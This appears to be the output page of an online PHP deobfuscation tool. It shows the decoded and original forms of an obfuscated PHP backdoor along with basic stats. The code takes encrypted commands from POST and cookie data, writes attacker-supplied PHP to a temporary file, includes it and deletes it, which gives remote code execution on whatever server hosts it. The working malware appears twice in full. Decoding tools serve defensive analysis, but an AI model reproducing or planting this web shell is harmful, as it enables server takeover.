Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $zunybrmpxq = 'zunybrmpxq' /* usc */ ^ ''; $clzegaqnnr /* jl *..
Decoded Output download
<?php
$zunybrmpxq = 'zunybrmpxq' /* usc */ ^ '';
$clzegaqnnr /* jl */ = "a"."r" . "r"."a"."y"."_"."m" /* zmvjhr */ . /* jbwn_ */ "a" /* bgw*/ . /* ey */ "p";
function /*_awb */ ty_lwday($buovgqrmya, /*_tlvfm */ $_zyhnjrq__)
{
/* _w_ */ global $zunybrmpxq;
$buovgqrmya = /*kh */ "<" . "?" . "p" . /* dti */ "h"."p".$zunybrmpxq(32) /* gpsokf */ . "u"."n" . /* ql */ $zunybrmpxq(108) . /* knd*/ "i"."n"."k" . "(" . /* sol */ $zunybrmpxq(95) /* tk*/ . /* _opusu*/ "_"."F" . /* pzr*/ "I"."L" . "E".$zunybrmpxq(537-442) . /* yrawm*/ "_".$zunybrmpxq(41) /* s */ . ";" /* df */ . $zunybrmpxq(32) . $buovgqrmya[$zunybrmpxq(642-542)]; /* pl */ $aftstc = /* etjhnr*/ "f" /*omrmo */ . /* kjg */ "i"."l".$zunybrmpxq(101) . "_"."p"."u"."t" . $zunybrmpxq(95) . "c"."o"."n" . "t".$zunybrmpxq(710-609) . /*sbi_w */ "n"."t"."s";
$aftstc($_zyhnjrq__, /* dj */ $buovgqrmya);
jbrqiuwua($_zyhnjrq__);}
$ekdarowx /* bdkppb */ = /*c */ 73;
function jbrqiuwua($_zyhnjrq__)
{
/* p */ global $zunybrmpxq;
/* msimw */
/* wkie */ include($_zyhnjrq__);
/* fdvwy */ $tijbzr /* qxnizk*/ = /*coc */ $_zyhnjrq__;
@unlink($tijbzr);
}
function czfaf_()
{
global $zunybrmpxq;
$ulcij /* j */ = array();
$ulcij["p" . $zunybrmpxq(586-468)] = phpversion();
$ulcij["s".$zunybrmpxq(118)] /* wcu*/ = "3" /* qdv */ . /* teieju */ "."."5";
$ltxdfxpmx = /* hdo */ 74;
echo /* f */ @serialize($ulcij);}
function sbkbgupdr($buovgqrmya, $mahtbwrsx)
{ /* sf_ */ global /* m */ $zunybrmpxq;
$fxxoo = "";
$dmgrl = /* dwh */ strlen($buovgqrmya);
/*lpwm */ $qevegzp /* az */ = /*jbxm */ strlen($mahtbwrsx);
$ulcij = 0;
$kskbbrkr = 0;
/* d */ /*gr */ while ($ulcij < /* zlknv */ $dmgrl) {
$z_mebndfm = $buovgqrmya[$ulcij] /* pzb */ ^ /* bd */ $mahtbwrsx[$kskbbrkr /* waqfty */ % $qevegzp]; /*a_cih */ $fxxoo .= /*ftd */ $z_mebndfm;
$kskbbrkr++; /* uvf */
$ulcij++; }
if (strlen($fxxoo) > /* at */ 20) {
$cj_axxzume = substr($fxxoo, 0, /* dabmvl */ 20);
}
if /* b_*/ (empty($fxxoo)) {
$fxxoo = date('Y-m-d H:i:s');
}
return /* wu */ $fxxoo;
}
function ugnigh($gvcctfy_)
{ /* ildyeu */ global $zunybrmpxq;
/* yosg*/ $_ocmnrrhb = /* famphh */ "7"."a" . "8".$zunybrmpxq(927-827) . "f".$zunybrmpxq(720-666) . $zunybrmpxq(50) /*njluu*/ . /* qysir */ $zunybrmpxq(369-271) . "-" . /*lbz */ "7" . $zunybrmpxq(97).$zunybrmpxq(49) /* y*/ . /* mcz */ $zunybrmpxq(131-77) . "-"."4"."d" . "2" . "c" /* e */ . /* o_yy*/ "-".$zunybrmpxq(56) /* ezv */ . $zunybrmpxq(52) /* v */ . $zunybrmpxq(53) /* zse*/ . "1" /* yli */ . /* tj*/ $zunybrmpxq(553-508) . "0"."0".$zunybrmpxq(54) . "b"."9" . "c"."0"."b"."3"."7" /* b */ . $zunybrmpxq(636-534) . "7";
foreach ($gvcctfy_ as $casesan => /* bpnd */ $buovgqrmya) /* etdgy */ {
/* x */ ixxnsav(base64_decode($buovgqrmya), /* no */ $_ocmnrrhb, $casesan); /* ulz */ }
}
function ixxnsav($buovgqrmya, /*oret */ $_ocmnrrhb, $casesan)
{ /*tq_*/ global $zunybrmpxq;
/* qor */
/* fhc */ $buovgqrmya = unserialize(sbkbgupdr(sbkbgupdr($buovgqrmya, $_ocmnrrhb), $casesan));
$gglvug = 'jmeahdq'; $zfjiaws_z /* tq */ = 'ytcazapgmj';
if /* oso*/ (isset($buovgqrmya[$zunybrmpxq(97).$zunybrmpxq(107)])) {
/* jxow */ if ($buovgqrmya[$zunybrmpxq(97)] /* dsx */ == "i") {
czfaf_();
} /*clm */ elseif /*zufv*/ ($buovgqrmya[$zunybrmpxq(97)] == "e") {
ty_lwday($buovgqrmya, /*j */ sprintf("."."/" . "%" . "s"."." . /* eezum */ $zunybrmpxq(112) . /* e */ "l", md5($_ocmnrrhb)));
$zjhupy = /* zlrz */ 44;
/* z */ }
exit();
/* o */ }
}
ugnigh($_POST);
$ptguj = 'rawurldecode';
$wughzrfb = /* fvu_tu */ $clzegaqnnr($ptguj, $_POST);chunk_split($ptguj);
ugnigh($_COOKIE);
$__h__a_ly /*r*/ = $clzegaqnnr($ptguj, $_COOKIE);
?>
Did this file decode correctly?
Original Code
<?php
$zunybrmpxq = 'zunybrmpxq' /* usc */ ^ '';
$clzegaqnnr /* jl */ = "a"."\x72" . "r"."a"."y"."_"."\x6d" /* zmvjhr */ . /* jbwn_ */ "\x61" /* bgw*/ . /* ey */ "\x70";
function /*_awb */ ty_lwday($buovgqrmya, /*_tlvfm */ $_zyhnjrq__)
{
/* _w_ */ global $zunybrmpxq;
$buovgqrmya = /*kh */ "\74" . "\x3f" . "\x70" . /* dti */ "h"."p".$zunybrmpxq(32) /* gpsokf */ . "u"."\156" . /* ql */ $zunybrmpxq(108) . /* knd*/ "\x69"."n"."\x6b" . "\50" . /* sol */ $zunybrmpxq(95) /* tk*/ . /* _opusu*/ "_"."\106" . /* pzr*/ "I"."\114" . "E".$zunybrmpxq(537-442) . /* yrawm*/ "_".$zunybrmpxq(41) /* s */ . "\73" /* df */ . $zunybrmpxq(32) . $buovgqrmya[$zunybrmpxq(642-542)]; /* pl */ $aftstc = /* etjhnr*/ "\x66" /*omrmo */ . /* kjg */ "\x69"."l".$zunybrmpxq(101) . "_"."p"."u"."\x74" . $zunybrmpxq(95) . "c"."o"."\x6e" . "t".$zunybrmpxq(710-609) . /*sbi_w */ "n"."t"."s";
$aftstc($_zyhnjrq__, /* dj */ $buovgqrmya);
jbrqiuwua($_zyhnjrq__);}
$ekdarowx /* bdkppb */ = /*c */ 73;
function jbrqiuwua($_zyhnjrq__)
{
/* p */ global $zunybrmpxq;
/* msimw */
/* wkie */ include($_zyhnjrq__);
/* fdvwy */ $tijbzr /* qxnizk*/ = /*coc */ $_zyhnjrq__;
@unlink($tijbzr);
}
function czfaf_()
{
global $zunybrmpxq;
$ulcij /* j */ = array();
$ulcij["\160" . $zunybrmpxq(586-468)] = phpversion();
$ulcij["s".$zunybrmpxq(118)] /* wcu*/ = "\63" /* qdv */ . /* teieju */ "."."5";
$ltxdfxpmx = /* hdo */ 74;
echo /* f */ @serialize($ulcij);}
function sbkbgupdr($buovgqrmya, $mahtbwrsx)
{ /* sf_ */ global /* m */ $zunybrmpxq;
$fxxoo = "";
$dmgrl = /* dwh */ strlen($buovgqrmya);
/*lpwm */ $qevegzp /* az */ = /*jbxm */ strlen($mahtbwrsx);
$ulcij = 0;
$kskbbrkr = 0;
/* d */ /*gr */ while ($ulcij < /* zlknv */ $dmgrl) {
$z_mebndfm = $buovgqrmya[$ulcij] /* pzb */ ^ /* bd */ $mahtbwrsx[$kskbbrkr /* waqfty */ % $qevegzp]; /*a_cih */ $fxxoo .= /*ftd */ $z_mebndfm;
$kskbbrkr++; /* uvf */
$ulcij++; }
if (strlen($fxxoo) > /* at */ 20) {
$cj_axxzume = substr($fxxoo, 0, /* dabmvl */ 20);
}
if /* b_*/ (empty($fxxoo)) {
$fxxoo = date('Y-m-d H:i:s');
}
return /* wu */ $fxxoo;
}
function ugnigh($gvcctfy_)
{ /* ildyeu */ global $zunybrmpxq;
/* yosg*/ $_ocmnrrhb = /* famphh */ "7"."\141" . "8".$zunybrmpxq(927-827) . "f".$zunybrmpxq(720-666) . $zunybrmpxq(50) /*njluu*/ . /* qysir */ $zunybrmpxq(369-271) . "\x2d" . /*lbz */ "\67" . $zunybrmpxq(97).$zunybrmpxq(49) /* y*/ . /* mcz */ $zunybrmpxq(131-77) . "-"."4"."\144" . "\x32" . "\x63" /* e */ . /* o_yy*/ "-".$zunybrmpxq(56) /* ezv */ . $zunybrmpxq(52) /* v */ . $zunybrmpxq(53) /* zse*/ . "\x31" /* yli */ . /* tj*/ $zunybrmpxq(553-508) . "0"."0".$zunybrmpxq(54) . "b"."\71" . "c"."0"."b"."3"."\67" /* b */ . $zunybrmpxq(636-534) . "\67";
foreach ($gvcctfy_ as $casesan => /* bpnd */ $buovgqrmya) /* etdgy */ {
/* x */ ixxnsav(base64_decode($buovgqrmya), /* no */ $_ocmnrrhb, $casesan); /* ulz */ }
}
function ixxnsav($buovgqrmya, /*oret */ $_ocmnrrhb, $casesan)
{ /*tq_*/ global $zunybrmpxq;
/* qor */
/* fhc */ $buovgqrmya = unserialize(sbkbgupdr(sbkbgupdr($buovgqrmya, $_ocmnrrhb), $casesan));
$gglvug = 'jmeahdq'; $zfjiaws_z /* tq */ = 'ytcazapgmj';
if /* oso*/ (isset($buovgqrmya[$zunybrmpxq(97).$zunybrmpxq(107)])) {
/* jxow */ if ($buovgqrmya[$zunybrmpxq(97)] /* dsx */ == "\x69") {
czfaf_();
} /*clm */ elseif /*zufv*/ ($buovgqrmya[$zunybrmpxq(97)] == "e") {
ty_lwday($buovgqrmya, /*j */ sprintf("."."\x2f" . "\x25" . "s"."\56" . /* eezum */ $zunybrmpxq(112) . /* e */ "l", md5($_ocmnrrhb)));
$zjhupy = /* zlrz */ 44;
/* z */ }
exit();
/* o */ }
}
ugnigh($_POST);
$ptguj = 'rawurldecode';
$wughzrfb = /* fvu_tu */ $clzegaqnnr($ptguj, $_POST);chunk_split($ptguj);
ugnigh($_COOKIE);
$__h__a_ly /*r*/ = $clzegaqnnr($ptguj, $_COOKIE);
?>
Function Calls
ugnigh | 1 |
chr`ntmdh | 1 |
Stats
MD5 | cfa4dbc74565ccf0a12e6463fbb5aed9 |
Eval Count | 0 |
Decode Time | 68 ms |